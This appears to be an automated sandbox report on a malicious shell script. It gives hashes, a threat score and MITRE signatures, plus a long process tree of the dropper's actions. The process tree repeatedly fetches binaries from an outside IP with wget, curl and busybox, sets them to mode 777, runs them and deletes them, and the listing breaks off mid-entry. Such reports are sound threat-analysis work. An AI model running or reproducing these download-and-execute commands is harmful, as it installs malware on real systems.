7d5ad7e7a8039897497a1455116d634fce3679e95c41f4d6cd41ec9ae5a5432a

Analysis

max time kernel
66s
max time network
67s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
10/11/2024, 02:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7d5ad7e7a8039897497a1455116d634fce3679e95c41f4d6cd41ec9ae5a5432a.sh
Size 10KB
Sample241110-c4eg7sxgrd
SHA256 7d5ad7e7a8039897497a1455116d634fce3679e95c41f4d6cd41ec9ae5a5432a
MD5 98ea8d25a8c60fccde5438d8bf5ba354
SHA1 7a43e84359c15813811551a39082b6554f68aa4f
SHA512 f575df135fbcd30f422a6c454e83d15c7013d744655490a4f4212d4a322721a7e058cdb86ff42dce19219c470d03c971b2266aa40bd90ce6a91530c7f3dab1d7
SSDEEP 192:w/R/1/Iz/zU1ubByo1JC7jUYg8X/Iobss4/R/1/Iz/zRbig8X/IoM1JC7jB:w5dkw1uyo1JC7jUYg8vIobO5dkIg8vIS
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
878	chmod
914	chmod
764	chmod
845	chmod
851	chmod
884	chmod
902	chmod
974	chmod
890	chmod
938	chmod
968	chmod
866	chmod
932	chmod
944	chmod
962	chmod
797	chmod
811	chmod
837	chmod
908	chmod
950	chmod
956	chmod
734	chmod
740	chmod
872	chmod
896	chmod
920	chmod
860	chmod
926	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw	curl
File opened for modification	/tmp/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW	curl
File opened for modification	/tmp/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t	curl
File opened for modification	/tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5	curl
File opened for modification	/tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB	curl
File opened for modification	/tmp/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW	curl
File opened for modification	/tmp/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t	curl
File opened for modification	/tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg	curl
File opened for modification	/tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB	curl
File opened for modification	/tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz	curl
File opened for modification	/tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu	curl
File opened for modification	/tmp/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2	curl
File opened for modification	/tmp/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn	curl
File opened for modification	/tmp/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2	curl
File opened for modification	/tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD	curl
File opened for modification	/tmp/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn	curl
File opened for modification	/tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci	curl
File opened for modification	/tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW	curl
File opened for modification	/tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu	curl
File opened for modification	/tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw	curl
File opened for modification	/tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW	curl
File opened for modification	/tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz	curl
File opened for modification	/tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW	curl
File opened for modification	/tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg	curl
File opened for modification	/tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5	curl
File opened for modification	/tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci	curl
File opened for modification	/tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD	curl
File opened for modification	/tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW	curl

/tmp/7d5ad7e7a8039897497a1455116d634fce3679e95c41f4d6cd41ec9ae5a5432a.sh
/tmp/7d5ad7e7a8039897497a1455116d634fce3679e95c41f4d6cd41ec9ae5a5432a.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  PID:732
- /bin/chmod
  chmod 777 PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  ./PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  PID:739
- /bin/chmod
  chmod 777 RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  ./RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  PID:758
- /bin/chmod
  chmod 777 lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  ./lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  PID:769
- /usr/bin/wget
  wget http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  PID:791
- /bin/chmod
  chmod 777 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  ./2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  PID:799
- /usr/bin/wget
  wget http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  PID:804
- /bin/chmod
  chmod 777 xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  ./xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  PID:832
- /bin/chmod
  chmod 777 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  ./3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  PID:844
- /bin/chmod
  chmod 777 j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  ./j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  PID:847
- /usr/bin/wget
  wget http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  PID:850
- /bin/chmod
  chmod 777 tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  ./tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  PID:856
- /bin/chmod
  chmod 777 fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  ./fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  PID:865
- /bin/chmod
  chmod 777 qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  ./qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  PID:871
- /bin/chmod
  chmod 777 AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  ./AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  PID:877
- /bin/chmod
  chmod 777 W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  ./W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  PID:883
- /bin/chmod
  chmod 777 hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  ./hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  PID:889
- /bin/chmod
  chmod 777 Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  ./Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  PID:895
- /bin/chmod
  chmod 777 W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  ./W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  PID:901
- /bin/chmod
  chmod 777 hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  ./hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  PID:907
- /bin/chmod
  chmod 777 Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  ./Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  PID:913
- /bin/chmod
  chmod 777 PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  ./PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  PID:919
- /bin/chmod
  chmod 777 RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  ./RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  PID:925
- /bin/chmod
  chmod 777 lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  ./lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  PID:931
- /bin/chmod
  chmod 777 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  ./2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  PID:937
- /bin/chmod
  chmod 777 xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  ./xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  PID:943
- /bin/chmod
  chmod 777 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  ./3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  PID:949
- /bin/chmod
  chmod 777 AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  ./AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  PID:955
- /bin/chmod
